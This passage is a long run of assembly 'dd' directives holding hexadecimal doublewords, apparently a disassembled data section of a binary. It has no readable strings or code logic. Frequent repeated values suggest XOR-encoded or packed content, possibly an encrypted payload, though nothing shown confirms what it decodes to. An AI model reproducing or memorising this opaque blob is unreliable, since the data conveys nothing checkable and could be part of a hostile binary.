94BE6E4Eh, 0E3E27E9Ah, 0BE7279F7h, 0AF754D5Bh dd 24F645Ah, 0DA6B5918h, 0D3D6B10Fh, 0F6C8A907h, 46303EECh dd 77815423h, 4CF59B1Ah, 0CB6829C0h, 46A6A604h, 0CFA6AAC4h dd 6EC85104h, 0A3926503h, 0CFFC186Ch, 0EBB93104h, 0CF86353Bh dd 0EC013104h, 49051154h, 493E7B28h, 0A6AEA5BBh, 75ABF58h dd 1B26AE2Ah, 638D772Fh, 4CC2B92Eh, 32D12048h, 0D304A21h dd 0C62E1920h, 0CFAD039Eh, 0DA3A604h, 7CDBB34Dh, 47857A04h dd 0D000ED86h, 0E52DA604h, 382E1F00h, 0D000E686h, 1825A604h dd 0EC192F20h, 0DD3B9097h, 40FCC70Fh, 29FD2BC5h, 0FE8217D1h dd 0B5E3A75h, 0CACC490Ch, 2144BEE1h, 8F3E522Bh, 8A84702Ah dd 4FC2E4C6h, 51CABD77h, 0A4EB64CCh, 0C1B3D55Eh, 0D38F887Eh dd 0F2CFF28Bh, 40B86FFAh, 0E28D7CDAh, 0CFB6FE83h, 4A4BA604h dd 0D6FD5EAAh, 0CFA6A6ECh, 0C0B21E04h, 34A6A604h, 0CFB89120h dd 0CA85A604h, 0B5B00B16h, 25BFE3EDh, 56387D86h, 7657B4E3h dd 15AFDBD7h, 0B5B0A3DEh, 25BFE3EDh, 56387D86h, 7657B4E3h dd 0ECBC704h, 0CFA6B2ECh, 0C534C304h, 5C3242B6h, 695EAEB0h dd 0E3C7FEF8h, 43F95CA4h, 0A017E685h, 2E26A604h, 14AF5310h dd 0CFA6A616h, 83E8869Dh, 930169F9h, 0E5584FFCh, 0CFCC8E33h dd 0F0C1A604h, 0DFAD08ECh, 843E2393h, 0CF181428h, 0FF64AEA3h dd 0DF97C285h, 409C1CE0h, 0CFA6A622h, 0D07628AAh, 0B502918h dd 14B4468Bh, 0CFA6A6CCh, 1A9B2B5Ah, 9061B30Eh, 9D629A7h dd 0BEF1AD94h, 1CC4E8B3h, 0CFB22C0Bh, 84ECA604h, 0ACC9EEFCh dd 0B9AED797h, 81F2F39Fh, 0CFD9B0EEh, 0E1E22E04h, 6C23EC5Fh dd 47678ADEh, 1034CAFBh, 0C13277FBh, 0B9A6A604h, 0DB4DEE9Fh dd 0FAA6A604h, 10C750E8h, 380D503Eh, 0CFA6A614h, 0C8973276h dd 7D155E3Ah, 0A8211D9Fh, 1465AC8Dh, 0ECBBEA2h, 8A4AF1EDh dd 0D1C204DEh, 66A64329h, 69BB0623h, 1010EA98h, 0E1445E8h dd 646EB8F8h, 0A062B266h, 940DA144h, 0C8CA144h, 974EB8F8h dd 56AE6A65h, 0E5FC67CAh, 0DB615D50h, 3850CE23h, 0AF6F7A42h dd 5471FE63h, 270D2AD3h, 0D18DB50Fh, 5A909DDDh, 0D90A1B7h dd 0FBB21BF8h, 0F7F343Bh, 3967C61Bh, 0D909D42h, 638EC2F8h dd 0D909F21h, 1B3298F8h, 0A424DEh, 0FB541CA5h, 0D8EB5A4h dd 21D75AF8h, 82D7207Dh, 733CBB49h, 188DEEA4h, 0BAA8F8Fh dd 4783971Eh, 54BF9E08h, 0B4D79D97h, 0D909DA5h, 7347AE98h dd 5B7477C0h, 5B696178h, 0D909D54h, 2C54A6E5h, 0A8EC7DAh dd 370A22CBh, 89D01E42h, 2F5EDDB4h, 0D45798B5h, 2685BD19h dd 0C52E46C4h, 978674FDh, 0CAD89A27h, 8279B30Ch, 0A5C3201Ah dd 0C758F270h, 6945968Dh, 8D221A94h, 0C63DEDEDh, 0FE652CAFh dd 9CBF761Bh, 0EADC90C7h, 0E4862184h, 49E28F51h, 7EE3C027h dd 5394B9B4h, 23145188h, 0B25062C4h, 0C09F9A35h, 8695B66Fh dd 216BAA21h, 0FC8DC35Bh, 5F392622h, 0CF86FA7Dh, 2978D36Fh dd 0A2FF6130h, 17h dup(0A2FF6127h), 481D4B08h, 0AC6CE830h dd 0E1F76127h, 8CCBC02Eh, 465A136Fh, 0E6603888h, 15C2E819h dd 94F760E6h, 8CCBC02Ch, 465A10F3h, 3163E2B5h, 5C3BF2D7h dd 81B6E184h, 3EA935Ah, 0FFB4E8C1h, 0A467A416h, 9FE3B0DBh dd 0DB1EA5FAh, 1F12F5D7h, 3B700CE6h, 6B01E608h, 0A33466A3h dd 1CF855C2h, 0F8F28DB9h, 0F8D91484h, 0EA866DEh, 65F3D63Dh dd 9EF68A0Bh, 0E40A1FFh, 0CEF896C1h, 646C5113h, 1D9F2A3Eh dd 0CAFB2231h, 12E31C03h, 1C8C54ABh, 0A5D9D75Ch, 68199035h dd 4AC8D476h, 97C86EF4h, 0AC0AAAE4h, 0C299872Ah, 4C39C3CAh dd 0AE4F4355h, 1035B57h, 0D84822D8h, 3E319711h, 63D632FDh dd 0AE88823Bh, 78FB2F32h, 4777656Ch, 0E1AAEE58h, 0B37A808Dh dd 0D32770CBh, 0F7ED978Dh, 0A12E2C62h, 102D8449h, 16D6A469h dd 3DC23EA5h, 22D37FD1h, 538D94DDh, 0FAD05B7Ch, 4A6E9668h dd 5582510Ah, 9BE27B98h, 914C28CEh, 18BFED0Ch, 0EF3D2F3Eh dd 6504EC1h, 42246681h, 7DB34F29h, 57A77206h, 90C9C426h dd 158109D7h, 0BC4C772Ah, 4BF96C16h, 7F2AEF55h, 68B00E69h dd 0E9C9F73Fh, 60FF611Eh, 9C330073h, 53CCCCB3h, 4E9C1667h dd 86E080EAh, 0DD1E423Eh, 19D31F7Ah, 7B532F3Eh, 5A93E8A1h dd 410B8025h, 7609AF19h, 565257BBh, 0E40AC220h, 0CAFF6127h dd 7FFD9E5Ah, 19D31F73h, 8DAF2F3Eh, 0E4DFE8ACh, 8133DB49h dd 0C3C842FAh, 0D982CC6Eh, 4AB65160h, 5D256540h, 728D1FCDh dd 78250F8Fh, 0E799E064h, 90EFAF3Ah, 75939010h, 7F395574h dd 20BF0969h, 67550432h, 5E2B4669h, 70C842FAh, 153FFF03h dd 0A08A1859h, 67AF3DA3h, 624BFE03h, 0EA4E7F6Ch, 23033792h dd 0AED70BDAh, 314C758Eh, 82DC2B20h, 0E68E389Fh, 0F2E6E484h dd 0A2FF9E0Ch, 62E4D827h, 2101CD49h, 0B2C842F9h, 46329617h dd 6B2ABB43h, 0ADDAC26Eh, 0D7D56880h, 0EB80A577h, 0A93E4394h dd 439BB528h, 617536C2h, 0DA47C1EDh dd 5E7DEA78h, 0E5810974h, 227B1DEh, 0E1170Bh, 0A6991567h dd 7C4AF643h, 4E147B3Eh, 2CC82F47h, 4D38CE69h, 695A9555h dd 0E0496AFAh, 0F02D64D1h, 0CFDEE0AAh, 0C768554Ch, 65FF6127h dd 7FFD9E53h, 27BA8E73h, 35AB269Eh, 300BFD6h, 94D04586h dd 1067F86h, 8FE8D8A3h, 8B9C2076h, 0EC87D392h, 0A2FF61BCh dd 158109DFh, 0FDACE62Ah, 0B9C842FCh, 606BEE08h, 6C8E7355h dd 942C4867h, 1CD5F50Bh, 565257C2h, 606BC220h, 219B24B2h dd 0E0CE9F97h, 0B015C781h, 0EE6BCC22h, 30CCAFBh, 58B02F3Fh dd 0EAE3D2C2h, 0A325E4ABh, 18A3C998h, 0FFC351F4h, 0BB59B715h dd 19D596B2h, 8CB30229h, 565CE12Bh, 8FE71EDEh, 6136A8E2h dd 0B6E97B43h, 15A0D467h, 90A9002Ah, 4D355650h, 0FFAF3D55h dd 8FFDDB26h, 2712FB4h, 92366ADAh, 0E03AE626h, 0E0DD8E7Ah dd 77C842FCh, 92EB2F53h, 68B3E866h, 0C132F73Fh, 4BF9082Bh dd 0D8E9240h, 0A2FF6FDCh, 60452827h, 0C8839B1h, 0E0C842F9h dd 0CBC28FD3h, 0C42F7773h, 0FDACE967h, 7DC842FCh, 687953D5h dd 5C1B7A06h, 11F1E1C8h, 3E43C06Fh, 1CAE0600h, 5E85C94Eh dd 9BDDE480h, 8F87CE0Fh, 0CC982EB4h, 121233EFh, 0EED2478Bh dd 0A2FF6126h, 27810879h, 0CD6E4B22h, 0F524FF09h, 8CE40226h dd 4788B20Ch, 576EF2B9h, 0AC9A05EDh, 7B29DD6Bh, 0F5C84465h dd 606BC304h, 0C807709Eh, 7D175401h, 1CACE7C0h, 1CD0F07Eh dd 0A2B2A259h, 62E6A927h, 2101CD49h, 0A1C842F9h, 0E1A5B5BEh dd 5938C28Dh, 1057E08h, 0B36F2220h, 66B6CE3Eh, 9D3F36C2h dd 6D3A8AF3h, 0EFFDDA72h, 0D7F93A60h, 3BC842F9h, 803CE54Fh dd 68B011D8h, 1FC9F73Fh, 60FF611Eh, 0F0D79E53h, 16E3E97Fh dd 83712F3Eh, 0C411AD27h, 0FDACE95Dh, 7DC842FCh, 687953D5h dd 0E07E7006h, 0BB6C07C1h, 227B9290h, 1D015075h, 1CD0F07Eh dd 0A2FF6A59h, 30E6A927h, 0E54659DFh, 10585F8h, 4F7D71F0h dd 38599762h, 5493D2B5h, 0CDE5F063h, 5393E6ECh, 8ACB8BB2h dd 9A33F3E7h, 4DE54D94h, 12E5D155h, 8FCC0AE6h, 0B1BA240Ch dd 31C842F9h, 1898CD61h, 4CDD2F3Eh, 32A35110h, 8787D044h dd 1BFDCA4Ah, 0C698BCD9h, 59DB4583h, 10587ECh, 0FA5CC9CFh dd 694FEF1Fh, 10587ECh, 0CD37E26Dh, 4FC842F9h, 6AD684Bh dd 2D424910h, 8755FEB4h, 0CAA55D43h, 0BBEF2F04h, 0B49CCD73h dd 58F151E8h, 57DA1555h, 6FC5BB5Dh, 8B2E9CACh, 0E20A603Dh dd 0FF78E9C0h, 947D7695h, 0DA2A3230h, 8AD391AFh, 7A63AF1h dd 83758387h, 0F20FEC65h, 0FC8141DFh, 5E2C4FC5h, 0F2E6CFF1h dd 0A2FF548Bh, 0BB1AF127h, 2768C193h, 0DF4EC326h, 0FA9C9A94h dd 204536C2h, 0EBD44A96h, 132EB6DAh, 8AB72F3Eh, 0E5A015C8h dd 63E38A65h, 1A241370h, 0C926811Ch, 1F0FE927h, 7C736C1h dd 1126978h, 5F403010h, 91D5C35Dh, 5FD93B00h, 5E2B49A1h dd 6FC845FEh, 448A4DE1h, 0CE7CC8D5h, 0A0D6A529h, 9655E893h dd 29E13906h, 0EF4FF1D8h, 67481EC5h, 0DAFD2A2Ch, 0DE9A2681h dd 7AC0DC33h, 15DFF515h, 9EFF6127h, 53B79C5Ah, 4BF90E60h dd 87AD3755h, 0B3A0D467h, 706461E3h, 34F62903h, 0F06C7BC1h dd 17FA4BCBh, 8906212Fh, 0C2D5F568h, 0E6449F01h, 0A2FF6047h dd 0C74B086Eh, 0B2583B16h, 0E4FFD911h, 0E0839713h, 424E04Fh dd 0E0DED5h, 1D7120B5h, 0E82CC1DEh, 0BFB55B20h, 9FBC33D4h dd 86940706h, 822B76B0h, 81A14FB9h, 0FBFF6131h, 72FEA35Ah dd 1FAE0C06h, 0E03AF17Ch, 0F02D64D1h, 0A2ABCBAAh, 0EFF56127h dd 912F0FEFh, 4BCED8BBh, 0CF486255h, 1DB3EC7Ah, 82D0EF87h dd 4556A78Eh, 0DA22B548h, 0E50BDBE0h, 0CAFF6127h, 0CA4A35Ah dd 7E85E160h, 0BAC57FB2h, 27C842F9h, 39A946F3h, 9C33DF48h dd 0E546A9CEh, 10585F8h, 8D15E81Dh, 0F8B32076h, 490469A6h dd 82CF0A85h, 5FA1B2B0h, 893A89BCh, 105980Fh, 0C1657590h dd 98B51EFCh, 28E3C757h, 926B10ADh, 15ED73FBh, 7FFD9E5Ah dd 0E0DD8E73h, 77C842FCh, 0EDE7A053h, 0F02D64D0h, 46CDCBAAh dd 0EFF56130h, 91560C60h, 4BCED8BBh, 0CF486255h, 1CB3EC7Ah dd 1CD0F07Eh, 0A2FF5659h, 30E6A927h, 0E54659DFh, 10585F8h dd 8D15E81Dh, 8B9C2076h, 8787D392h, 0DB8E6C5h, 112662Eh dd 64C2AD92h, 95E09863h, 0C5D9E504h, 37489711h, 84B6403Fh dd 0D8613936h, 0EE7ACE9h, 0BB44426Bh, 1F21E9DAh, 634D066Eh dd 778A5DECh, 0E0DD8E73h, 77C842FCh, 4D62A053h, 0F9AF9DCCh dd 35C88B8Fh, 0D7D56828h, 0DDB2504Ah, 5C38D399h, 85574602h dd 19D37093h, 0AC99F325h, 1574F46Bh, 1054C71h, 28679EEBh dd 0F9AF6D64h, 79C84542h, 2A102AC9h, 94D0B52Ch, 0A9B0CBA3h dd 476E5E33h, 1898CE39h, 0FE052F3Eh, 22C842FCh, 1126662h dd 6BF6ECC3h, 0EFC842FCh, 0C8B778F1h, 0DFC842FCh, 6C0C3C64h dd 4BC39D22h, 0B9B1F655h, 2B8FBA9Ah, 0CE1C73E3h, 0D50844EAh dd 0D409A71Fh, 0BC394C5Bh, 6BF6ECC2h, 0EF96A013h, 0B998CAFBh dd 4CDE37F0h, 332ADB4Bh, 2EC60556h, 0B343DB96h, 0B93E0994h dd 0A24237F0h, 9987BC0Bh, 790FECE4h, 3C6CA899h, 4DD498A2h dd 13957D15h, 58DD7E76h, 0E1B7CE3Ch, 539D28E7h, 88F38D02h dd 5372D072h, 8FF611Eh, 0FE629548h, 8478B9B4h, 130F240Fh dd 0E0E9A68Bh, 0DC20981Dh, 0E4787648h, 6E8C0A3Dh, 434A5366h dd 8B1C964Ah, 0D7AA85F1h, 0FDC0BB1Fh, 87947D9Fh, 0B3FDCA4Ah dd 0EEF58A8Bh, 0FA67BA5Dh, 93EBA0CAh, 6B01FE97h, 0A408E7A3h dd 22D6A460h, 2237A788h, 0AC3F27E1h, 5E55F7DEh, 401F8197h dd 72104266h, 0C70BA55h, 20E33C7Eh, 65CF032Bh, 2CE58BBEh dd 5574F0AAh, 0D88F2F47h, 7D1CF348h, 0B482CCA7h, 0FA658A9Ch dd 8873F6E8h, 2493B1C8h, 0B8D6A40Eh, 319BB7ABh, 6D123F61h dd 0BB6E0171h, 8C341A5Fh, 0FB4BE8BEh, 7330EA2Bh, 0F9D6A460h dd 0D93CB348h, 0C2457E55h, 45EA47F1h, 541C6782h, 6B4A2F47h dd 4AA12DDFh, 0DF8D34ACh, 0B92D71A9h, 0ECFE1E75h, 586DC1EFh dd 6C21F7E7h, 0C8465DEh, 0FC398309h, 8E581F41h, 0BCAC6DD0h dd 0F1A05B86h, 0B709A650h, 9598EAD5h, 346A9A2Bh, 8ED6A449h dd 0F58FADEBh, 3DA2632Ah, 765D5CD0h, 0AD889EC3h, 0ED3E1897h dd 6DD6A524h, 37E6DEE4h, 98E3F9CCh, 0E5425B06h, 82D89D3Bh dd 0BD0A7A7Ah, 4DF5E402h, 0B7400E22h, 6CD3914Ah, 1DECCF4Dh dd 91A05271h, 51F5E0F5h, 0A08980CCh, 0A588C620h, 71A66127h dd 0E806C6B3h, 26D481A3h, 0C3A0EBAFh, 57AA4759h, 40AD0EEh dd 872D686Fh, 9416F462h, 0EB22F2B9h, 0E6F1AC4Dh, 9D1D56E1h dd 1FD6A445h, 6E52D39h, 8BB41F63h, 4BD03C2Fh, 0D721B655h dd 13E86B46h, 67EBB878h, 9B9A4D5Bh, 0AFD6A496h, 92713B2h dd 2001C654h, 2FBF58DFh, 0CDCEA1D6h, 80317D6Eh, 1E7458F0h dd 0E0C73C91h, 0BE2515B6h, 2402927Ch, 449902BAh, 8980A429h dd 12143601h, 0A2FF6038h, 0B32BDC9Ch, 23E42F6h, 0FCB60724h dd 0CABF6281h, 47BB3AC8h, 872F7FE7h, 75B6D943h, 89030F7Bh dd 39DC5C3Fh, 2536D500h, 6D1A0E9Eh, 81AC8EA3h, 779BA053h dd 6BD0200Ch, 9AF8E4A3h, 0B04D903Bh, 9563B376h, 0F9EDF7DEh dd 42B70062h, 959A631Ch, 0D04D305Ch, 8371B565h, 0C220CB29h dd 0AC704A54h, 3A78117Eh, 179C2FBDh, 96BB18C2h, 0F67E5ED4h dd 0E3912F3Eh, 5BCA237Eh, 4F97BF52h, 855C1806h, 0A4FBD642h dd 2BC8444Dh, 3A6B9C1Fh dd 4814E1B3h, 0C6C84497h, 211C73B5h, 68DCAE92h, 0B3AF2666h dd 48B6CE3Eh, 0C4D55A08h, 35A0483Ch, 0FD728D00h, 0D6DB0E53h dd 5A5A6F3Eh, 1BDED982h, 22771B92h, 49912CFDh, 3C7B8101h dd 84F33266h, 0A2B249CFh, 3FCEA827h, 7B28641Eh, 0EFF20A1h dd 967010BEh, 0AB14C422h, 0E415BF29h, 1D77B01Eh, 154F52E6h dd 0CF65AA4Eh, 0B727FB9Fh, 0D624D179h, 0A3F8B4E4h, 2DFF601Fh dd 5BF8C5C4h, 2DFF6378h, 2D97C5ECh, 0ADC12A87h, 2BFF6127h dd 4426679Fh, 12D77DB3h, 0D65834B3h, 0BACBC00Bh, 3CD74CA8h dd 0F3967CCFh, 6C27C4EBh, 70347013h, 0A5FF6127h, 0F53AD208h dd 6C27C5CBh, 0D6FE2A13h, 246ACB00h, 0A2FF67EFh, 0AA8AE027h dd 2FFF6127h, 470CC4D4h, 2B0EC48Ch, 0C84467DCh, 926E5AB9h dd 0E5873551h, 0D21936F6h, 52EC66B4h, 0A01A1714h, 0AACBC069h dd 8CC12CDCh, 0A2FF61BDh, 11A6E604h, 7 dup(0A2FF6127h) dd 0F9446127h, 50FF611Ch, 0E829DC40h, 8DD2637Bh, 9BADEFEEh dd 0EB5BF753h, 22C88A84h, 6DF6E95Fh, 166393C5h, 4B32024Eh dd 99B489B2h, 0DF124A59h, 0FA659F87h, 0E512F307h, 1BFDCA4Ah dd 4789BDDAh, 0DBE84283h, 0C34C15B6h, 0B04ACDE5h, 170660EAh dd 0C6604337h, 0BC9CF9EDh, 0FB93927Ch, 403124CAh, 0C2B75D74h dd 243BE5B8h, 34BDC581h, 7D03796Ah, 20561D56h, 25D0D7DCh dd 50764766h, 0A9DE2442h, 859FE2E0h, 2296F8C8h, 495BCE4Fh dd 0B1E5CE7Fh, 0D8EDF270h, 740AB535h, 0A6760D77h, 980AAC82h dd 0D1D65708h, 0ADF25DC0h, 0D8145C3Ah, 0C1932F33h, 0D81CACE5h dd 552D2F33h, 4149A8DFh, 5C5641Eh, 92B0C846h, 0A2FF608Ah dd 98B520B1h, 9DC7D957h, 1D6A39DEh, 47483241h, 24261B50h dd 6627EAFBh, 26FE5BA0h, 1055307h, 0B7F5FF21h, 0FBD8BDA3h dd 0A2FFAA86h, 1CAE5E27h, 6DB30F7Eh, 8A9BA23h, 3D92B1CBh dd 0D254AA1Ch, 5E036526h, 97C11624h, 66980DAEh, 0A2BCA73Fh dd 0F4BAFECEh, 0C5DD6311h, 7160641Dh, 0E17020D9h, 20B9B62Bh dd 0C8383C69h, 65F0A1Fh, 54261B51h, 13FA33AFh, 8801ABE6h dd 0F7AA0726h, 0B79520EAh, 0E5BD4F96h, 45568B43h, 6F22B548h dd 74FF991Bh, 0DDB15FEEh, 229A3D12h, 3A66FF66h, 0BFC844F2h dd 2F0D4762h, 0D054FD2Bh, 57413214h, 0B7652F47h, 0DD345EAAh dd 73749E1Bh, 0FA66140Ch, 0B2B1E4FFh, 83E7525Eh, 4C3C3410h dd 61F9EE55h, 0BBDDB37Ah, 89C1B3DBh, 1C690C77h, 96A1C522h dd 833B2F33h, 0D031BA9Dh, 49A36C4Fh, 0C3B570E9h, 0E2335DE1h dd 0B185022Fh, 0FD268F4Dh, 0A2FF86A4h, 0E3ACD027h, 0B2C5BB53h dd 0F34D4AAEh, 0C49A0263h, 44C842FCh, 0A670BEBFh, 0DF8CB92Ah dd 5EC842FCh, 52437ACEh, 1EE26F55h, 19EE77F3h, 5243945Bh dd 0BD1471A7h, 0CD26DE3Eh, 0B2D7ADEAh, 0A0504482h, 0B302B276h dd 0B8AEE2A9h, 6D52FF6Ah, 0E7FDE0Bh, 2F67CE61h, 0B54B5037h dd 4A981E37h, 26379E55h, 10372F7h, 6FF900EBh, 0A2FF6001h dd 0B1A84ACh, 91C8442Dh, 8799D940h, 0F7AA0726h, 3D44F1EAh dd 61F9ED87h, 0B319747Ah, 0FA5D9346h, 1059B70h, 92C53EF1h dd 14888CF3h, 208BAED9h, 2A62AC21h, 0AAC84538h, 602513A1h dd 96CB45B0h, 1CACD6BEh, 7F5B0F7Eh, 0E7996AA6h, 1057E33h dd 0A9CCF857h, 0FBD747C5h, 0A2FF63CCh, 1DAD1827h, 6E001087h dd 0AE77BA23h, 0E86C7792h, 442B29A8h, 9619AB7Dh, 0DF905212h dd 0A1ABA822h, 858E92A3h, 15FCAD4Eh, 0E3D2D545h, 1FEC293Eh dd 7683F2Bh, 3251170Dh, 3BBFAC9h, 28F63E30h, 0C46DA96Ch dd 9ECEF742h, 6167109Ah, 7ECA7C54h, 3486E712h, 430808F0h dd 0E98C54ABh, 6B00107Eh, 3EFEBBECh, 8070B1CBh, 92ED32DAh dd 0FBE69016h, 3444FE30h, 0B5D69E83h, 165FF22Ch, 0F2E6F46Ah dd 0BEF87750h, 667C579Bh, 0B6FDDD17h, 1D426C4Ch, 0A2CADBEEh dd 68798627h, 4BC34C95h, 6E4D055h, 44811148h, 0D3178CE7h dd 0EA67C31Ah, 0E67C0A2Ah, 0C229F471h, 9BA09F69h, 2F3E62A6h dd 9DB848A0h, 11463BE7h, 5B7986A5h, 1A81669Ah, 4D0AEF1h dd 0D63C52DEh, 67BDB72Fh, 79D69EEDh, 0BB1A2292h, 5F6A2C9Ah dd 2CD6F75Dh, 0FFD94722h, 0DE0DF7Bh, 54152584h, 19A29D54h dd 284E057h, 0A2FF6F63h, 7E61227h, 9D96876h, 0A36BA146h dd 1058722h, 0CB3DB5Eh, 8E682F3Eh, 0F18502B6h, 0E4232D44h dd 0C15A54E1h, 81058704h, 99969DB4h, 46E2ED10h, 6422C8BEh dd 726D2C3Ah, 0A2FF6377h, 3A4EA11Bh, 328CB128h, 9308AEF2h dd 130C2F3Eh, 70C00E6h, 9A35D175h, 9D38FB4h, 0E8F6B907h dd 0F476F760h, 169D28A9h, 0DCFFEE6Fh, 0E2B521E0h, 0EC8F84C3h dd 0FC33DF31h, 4A125C4Eh, 0CA2F9C68h, 0FC33D652h, 0E93480EEh dd 4BD69E20h, 8A89143Fh, 640BB0C4h, 6CDFF6Ch, 0A9B8B70Bh dd 0A048FDC5h, 5EA0F3Eh, 5A64A024h, 241BC057h, 82EEBE4Eh dd 0BAD69E22h, 0E1B49260h, 0A493EE2h, 760BD44h, 22D3416Ch dd 0B67EC6BAh, 4836D826h, 0C0934D82h, 41329812h, 9093C24Ah dd 38ED9345h, 0DB694459h, 1BBC8F1Ah, 31DA9035h, 3AAC0BF9h dd 1927AB1Dh, 8799DD46h, 0D0B54C51h, 10D35FC5h, 0DB8EF623h dd 30638CBFh, 63EE296Ch, 679680BCh, 852617DBh, 0F1356527h dd 0ED3E18DEh, 0F6C842F8h, 0AAA6F3D5h, 7D744597h, 9DD6A5D7h dd 3162CC6Ah, 0CEE2F7E7h, 0B8FF2B5h, 0F8E863ABh, 0A08AFC2Eh dd 0F0932A24h, 0FA659F69h, 294B546h, 0DF217CB8h, 15DB6875h dd 29D7A00Eh, 0EE8A6731h, 9070AACEh, 0D80B335Ch, 3524A22Fh dd 0BE697423h, 8A3CFC4Eh, 1913888Fh, 6A1CB6AFh, 0C8BC3FF5h dd 2B3FFECAh, 0EC6DF372h, 2369C594h, 68E53BE0h, 30E26DF3h dd 665DC88Bh, 73CA0BECh, 911E8DDAh, 0B0361F92h, 6B53888Ch dd 0DFFFAA5Dh, 89EF4CBDh, 0A300BA3Ah, 0A646AA27h, 1D11E818h dd 783814B5h, 1E8B491Eh, 10F2E68Ch, 357169ACh, 87DB6D85h dd 1587BC8Ch, 0D9A1B3DCh, 423C52E3h, 76011FACh, 0AC5A5709h dd 0A4420FA0h, 6177A885h, 5B6C229Eh, 8B83593h, 2444CB63h dd 0A2FF67D9h, 0ADBCE227h, 15861C8Eh, 0AEB7C5BBh, 0BCEA7DB3h dd 2DFF61CFh, 2D7BC524h, 0AA652A73h, 2BFF6127h, 0E42667ABh dd 72D77DB3h, 135834BCh, 2CCBC06Ah, 0D6FE2C9Fh, 86A6A79Eh dd 2583AF36h, 0A2FF67DAh, 0ADBDE027h, 2DFF6127h, 1431C524h dd 0D923F6B3h, 720B3078h, 61576AB0h, 49546E32h, 2B79C48Ch dd 1A6E67DCh, 6C257AB3h, 0E6C2E813h, 580B60E5h, 0CAD86BCDh dd 8A577279h, 0A20B6468h, 0AF927FADh, 0A9C1A41Eh, 0E7CE8F20h dd 0B0F49062h, 2647CD39h, 5C728432h, 53AEC8DFh, 0BB689A48h dd 800B5EC3h, 0CD791F09h, 204B9F9Fh, 0EA944C1Bh, 854DCBF9h dd 53D7BBCAh, 27E475A9h, 0D6895B75h, 0D6B8431Dh, 22541554h dd 23A9150Ch, 154D8876h, 0B8FB854Eh, 0F12EDE0Bh, 0D652100Ch dd 1D240180h, 251B481Ch, 0B3D75485h, 48F22654h, 31D746D0h dd 0B13A0D5Dh, 0C77F26A8h, 39D74886h, 0AFCFC0C1h, 9FBEDEDAh dd 0DE24886h, 2A1E6127h, 0A2FF611Eh, 39660AC9h, 0B13A5B95h dd 0A2FF6127h, 7EC83FD6h, 68C1488Fh, 0B13A119Ch, 73DB2E82h dd 4640488Fh, 0A2A7E801h, 0BD5F6127h, 0B2A322DEh, 0EC4C65B3h dd 482065BAh, 0B50C6130h, 97BB6CDEh, 0A2FFAF9Dh, 0AA23AE27h dd 2DFF6127h, 43855255h, 537EC81Ah, 53CBBAC2h, 2DA05E30h dd 0F2CBBAEEh, 7E764CE7h, 0C8184F5Eh, 6507E25Dh, 0D159D210h dd 48994366h, 0DE2EEDF3h, 2F22314Bh dd 0BF77A720h, 89B43574h, 7360B168h, 80A06A83h, 632E8113h dd 92CF1483h, 0C932AAE0h, 0F8737D59h, 0BC7BE786h, 4CA49831h dd 0E91699D9h, 86EC943h, 2B7AFC95h, 0EB2E433Ch, 7BF906DEh dd 0C50F44F3h, 0B2E0A6Eh, 4C3F458Bh, 0CE06A4EFh, 0C365BED6h dd 0E1F22BAFh, 0ED92BEF2h, 43B62B33h, 391131FAh, 0AB34433Ah dd 44E00A8Bh, 0B5852A0h, 0AC3F433Ah, 0CE04EF5Ah, 0B33B512h dd 0D8AD6939h, 5D1A9F45h, 49CE3F2h, 121D41D3h, 4E1A9F3Fh dd 0E271BAC7h, 503E4050h, 202E5BC7h, 68AD0E50h, 5B1A9FAFh dd 4615CA94h, 5CFD4397h, 221A9C3Ah, 0B2E400Bh, 2 dup(0B2E4339h) dd 0D5B69539h, 0D9980FD9h, 247CBEF2h, 27B62B98h, 0CAAD0AF6h dd 9028EAD8h, 589BDA73h, 0CD4E63C9h, 25696ED6h, 58B82B98h dd 10430E13h, 5C93D0B8h, 902E8CFCh, 0B051D5EEh, 0CAAD0C50h dd 6828EAD8h, 0B0529386h, 0C50F4350h, 0B2E4350h, 0E77C29F2h dd 532E4338h, 0B2CD050h, 0B2E4339h, 91684339h, 27B363CDh dd 12AD0A52h, 4E28EAD8h, 0B0521AB7h, 64AD0E50h, 442E5C48h dd 91506289h, 0B051D5BEh, 0B2D8550h, 247CBE74h, 11B62B98h dd 247CBEF2h, 11C22B98h, 0EB2E4339h, 23DE6EF1h, 589C2B98h dd 0CD4E6396h, 146EBED6h, 51B62B44h, 6CAD0D7Eh, 4E28EAD8h dd 0B051E1B7h, 64AD0E50h, 442E5C48h, 58B36289h, 0CD4E63EAh dd 2D850DFCh, 1428EAD9h, 0E82805C0h, 0C8430C20h, 23F11E3Ch dd 0F2B62B98h, 271D479Dh, 5D28EAD9h, 9153BC75h, 3E2E96ACh dd 0CD4E6396h, 23F1163Ch, 66412B98h, 91C14132h, 0B052B026h dd 0E8370C50h, 0B01FAF8Dh, 45E8C450h, 0D19A45EBh, 1110BEC8h dd 0E8304339h, 42D2A9C7h, 278B41B8h, 42F1C80Bh, 142CFAB8h dd 42F1CFBEh, 68F961B8h, 14291BC8h, 42B44774h, 0B01FACBEh dd 1AD0A50h, 9028EAD9h, 8EDC0C69h, 6A46C3FAh, 0B28EAD8h dd 12F3F339h, 0B2E8FBEh, 15898239h, 110F369Eh, 0B352A39h dd 0B9414339h, 831989C3h, 0D0B3433Ah, 0CD4E61D2h, 0CD278CBCh dd 9019D774h, 0BDB4A4F3h, 12410DBAh, 0B8179BDh, 6A46C239h dd 0B28EAD8h, 12F3F339h, 0B2E8FBEh, 0CF898239h, 823F369Eh dd 0B352A3Ah, 0B9414339h, 43198672h, 11D54338h, 666E4339h dd 118A2951h, 0B2E40B9h, 1111BEC8h, 0D1014339h, 0CD4E61D2h dd 0D19E4339h, 1101BEC8h, 484D4339h, 902E41F9h, 0EB2E40B9h dd 0CD1BC5F8h, 0E6AD0E88h, 4A28EAD7h, 1EAF6FC7h, 40AD0E4Fh dd 4A28EAD9h, 2029BBC7h, 0F5AD0E50h, 4A28EAD8h, 2034C7C7h dd 0B1BCB50h, 0F2014339h, 49B47588h, 28BBE542h, 0E00F15B3h dd 4B4A764h, 0B81B00Dh, 0B3510C8h, 0D9894339h, 22E4339h dd 0F2D36777h, 331D946Bh, 0B819F92h, 6B49628Fh, 9A575D46h dd 0F0510A74h, 0B2E8D70h, 0E6AE4E39h, 3304CC5Ch, 29CF87B1h dd 0B2D900Bh, 0D883B139h, 23CE24D7h, 57B2D6D7h, 89DBF76Dh dd 0D1A963DAh, 20BF8933h, 0B1B2DD9h, 5A094339h, 0FE847BA8h dd 43C60349h, 342B5D23h, 81A9625Bh, 0BA7ABEB3h, 1086CDBAh dd 0B9B2B73Fh, 5DFDAC77h, 0B2D2972h, 0EF318139h, 123F7A82h dd 0B2E47C7h, 18178139h, 5351E629h, 